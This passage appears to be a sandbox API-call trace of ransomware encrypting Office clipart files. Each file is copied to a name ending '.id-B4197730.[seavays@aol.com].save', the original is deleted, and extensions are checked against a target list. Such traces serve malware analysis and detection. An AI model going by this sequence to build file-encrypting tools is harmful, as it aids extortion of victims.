office\\root\\clipart\\pub60cor\\j0151045.wmf")) returned 1 [0179.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0179.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0179.835] lstrlenW (lpString=".doc") returned 4 [0179.835] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.835] lstrlenW (lpString=".docx") returned 5 [0179.835] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0179.835] lstrlenW (lpString=".pdf") returned 4 [0179.835] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.835] lstrlenW (lpString=".xls") returned 4 [0179.835] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.835] lstrlenW (lpString=".xlsx") returned 5 [0179.835] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0179.835] lstrlenW (lpString=".ppt") returned 4 [0179.835] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0179.835] lstrlenW (lpString=".zip") returned 4 [0179.835] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.835] lstrlenW (lpString=".rar") returned 4 [0179.835] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.835] lstrlenW (lpString=".bz2") returned 4 [0179.835] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.835] lstrlenW (lpString=".7z") returned 3 [0179.835] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0179.836] lstrlenW (lpString=".dbf") returned 4 [0179.836] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0179.836] lstrlenW (lpString=".1cd") returned 4 [0179.836] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0179.836] lstrlenW (lpString=".jpg") returned 4 [0179.836] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.838] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=18500) returned 1 [0179.838] CloseHandle (hObject=0x54c) returned 1 [0179.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf")) returned 0x220 [0179.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0179.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0180.057] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.057] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0180.842] GetLastError () returned 0x0 [0180.842] ReadFile (in: hFile=0x54c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x4844, lpOverlapped=0x0) returned 1 [0180.845] WriteFile (in: hFile=0x36c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x4850, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x4850, lpOverlapped=0x0) returned 1 [0180.848] ReadFile (in: hFile=0x54c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0180.848] WriteFile (in: hFile=0x36c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0180.848] SetEndOfFile (hFile=0x36c) returned 1 [0180.848] CloseHandle (hObject=0x36c) returned 1 [0180.849] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.849] SetEndOfFile (hFile=0x54c) returned 1 [0181.053] CloseHandle (hObject=0x54c) returned 1 [0181.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0181.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf")) returned 1 [0181.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0181.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0181.055] lstrlenW (lpString=".doc") returned 4 [0181.055] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.055] lstrlenW (lpString=".docx") returned 5 [0181.055] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0181.055] lstrlenW (lpString=".pdf") returned 4 [0181.055] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.055] lstrlenW (lpString=".xls") returned 4 [0181.055] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.056] lstrlenW (lpString=".xlsx") returned 5 [0181.056] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0181.056] lstrlenW (lpString=".ppt") returned 4 [0181.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0181.056] lstrlenW (lpString=".zip") returned 4 [0181.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.056] lstrlenW (lpString=".rar") returned 4 [0181.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.056] lstrlenW (lpString=".bz2") returned 4 [0181.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.056] lstrlenW (lpString=".7z") returned 3 [0181.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0181.056] lstrlenW (lpString=".dbf") returned 4 [0181.056] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0181.056] lstrlenW (lpString=".1cd") returned 4 [0181.056] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0181.056] lstrlenW (lpString=".jpg") returned 4 [0181.056] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.059] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=16052) returned 1 [0181.059] CloseHandle (hObject=0x54c) returned 1 [0181.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf")) returned 0x220 [0181.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0181.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0181.061] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0181.061] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0181.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0181.063] GetLastError () returned 0x0 [0181.063] ReadFile (in: hFile=0x54c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x3eb4, lpOverlapped=0x0) returned 1 [0181.065] WriteFile (in: hFile=0x388, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x3ec0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x3ec0, lpOverlapped=0x0) returned 1 [0181.067] ReadFile (in: hFile=0x54c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0181.068] WriteFile (in: hFile=0x388, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0181.068] SetEndOfFile (hFile=0x388) returned 1 [0181.068] CloseHandle (hObject=0x388) returned 1 [0181.068] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0181.068] SetEndOfFile (hFile=0x54c) returned 1 [0181.231] CloseHandle (hObject=0x54c) returned 1 [0181.231] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0181.232] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf")) returned 1 [0181.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0181.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0181.233] lstrlenW (lpString=".doc") returned 4 [0181.233] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.233] lstrlenW (lpString=".docx") returned 5 [0181.234] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0181.234] lstrlenW (lpString=".pdf") returned 4 [0181.234] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.234] lstrlenW (lpString=".xls") returned 4 [0181.234] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.234] lstrlenW (lpString=".xlsx") returned 5 [0181.234] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0181.234] lstrlenW (lpString=".ppt") returned 4 [0181.234] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0181.234] lstrlenW (lpString=".zip") returned 4 [0181.234] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.234] lstrlenW (lpString=".rar") returned 4 [0181.234] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.234] lstrlenW (lpString=".bz2") returned 4 [0181.234] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.234] lstrlenW (lpString=".7z") returned 3 [0181.234] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0181.234] lstrlenW (lpString=".dbf") returned 4 [0181.234] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0181.234] lstrlenW (lpString=".1cd") returned 4 [0181.235] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0181.235] lstrlenW (lpString=".jpg") returned 4 [0181.235] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.236] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=10880) returned 1 [0181.236] CloseHandle (hObject=0x54c) returned 1 [0181.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf")) returned 0x220 [0181.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0181.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0181.238] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0181.238] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0181.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0181.240] GetLastError () returned 0x0 [0181.240] ReadFile (in: hFile=0x54c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x2a80, lpOverlapped=0x0) returned 1 [0181.243] WriteFile (in: hFile=0x434, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x2a90, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x2a90, lpOverlapped=0x0) returned 1 [0181.245] ReadFile (in: hFile=0x54c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0181.245] WriteFile (in: hFile=0x434, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0181.245] SetEndOfFile (hFile=0x434) returned 1 [0181.245] CloseHandle (hObject=0x434) returned 1 [0181.245] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0181.245] SetEndOfFile (hFile=0x54c) returned 1 [0182.108] CloseHandle (hObject=0x54c) returned 1 [0182.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0182.138] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf")) returned 1 [0182.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0182.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0182.573] lstrlenW (lpString=".doc") returned 4 [0182.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.573] lstrlenW (lpString=".docx") returned 5 [0182.573] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0182.573] lstrlenW (lpString=".pdf") returned 4 [0182.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.574] lstrlenW (lpString=".xls") returned 4 [0182.574] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.574] lstrlenW (lpString=".xlsx") returned 5 [0182.574] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0182.574] lstrlenW (lpString=".ppt") returned 4 [0182.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0182.574] lstrlenW (lpString=".zip") returned 4 [0182.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.574] lstrlenW (lpString=".rar") returned 4 [0182.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.574] lstrlenW (lpString=".bz2") returned 4 [0182.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.574] lstrlenW (lpString=".7z") returned 3 [0182.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0182.574] lstrlenW (lpString=".dbf") returned 4 [0182.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0182.574] lstrlenW (lpString=".1cd") returned 4 [0182.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0182.575] lstrlenW (lpString=".jpg") returned 4 [0182.575] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.839] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=3696) returned 1 [0182.839] CloseHandle (hObject=0x36c) returned 1 [0182.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf")) returned 0x220 [0182.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0182.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.841] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0182.841] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0182.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0182.843] GetLastError () returned 0x0 [0182.843] ReadFile (in: hFile=0x36c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0xe70, lpOverlapped=0x0) returned 1 [0182.845] WriteFile (in: hFile=0x444, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xe80, lpOverlapped=0x0) returned 1 [0182.847] ReadFile (in: hFile=0x36c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0182.847] WriteFile (in: hFile=0x444, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0182.847] SetEndOfFile (hFile=0x444) returned 1 [0182.848] CloseHandle (hObject=0x444) returned 1 [0182.848] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0182.848] SetEndOfFile (hFile=0x36c) returned 1 [0182.852] CloseHandle (hObject=0x36c) returned 1 [0182.852] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0182.853] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf")) returned 1 [0182.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0182.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0182.855] lstrlenW (lpString=".doc") returned 4 [0182.855] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.855] lstrlenW (lpString=".docx") returned 5 [0182.855] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0182.855] lstrlenW (lpString=".pdf") returned 4 [0182.855] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.855] lstrlenW (lpString=".xls") returned 4 [0182.855] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.855] lstrlenW (lpString=".xlsx") returned 5 [0182.855] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0182.855] lstrlenW (lpString=".ppt") returned 4 [0182.855] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0182.855] lstrlenW (lpString=".zip") returned 4 [0182.855] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.856] lstrlenW (lpString=".rar") returned 4 [0182.856] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.856] lstrlenW (lpString=".bz2") returned 4 [0182.856] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.856] lstrlenW (lpString=".7z") returned 3 [0182.856] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0182.856] lstrlenW (lpString=".dbf") returned 4 [0182.856] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0182.856] lstrlenW (lpString=".1cd") returned 4 [0182.856] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0182.856] lstrlenW (lpString=".jpg") returned 4 [0182.856] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.860] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=9768) returned 1 [0182.860] CloseHandle (hObject=0x36c) returned 1 [0182.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf")) returned 0x220 [0182.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0182.872] CreateFileW 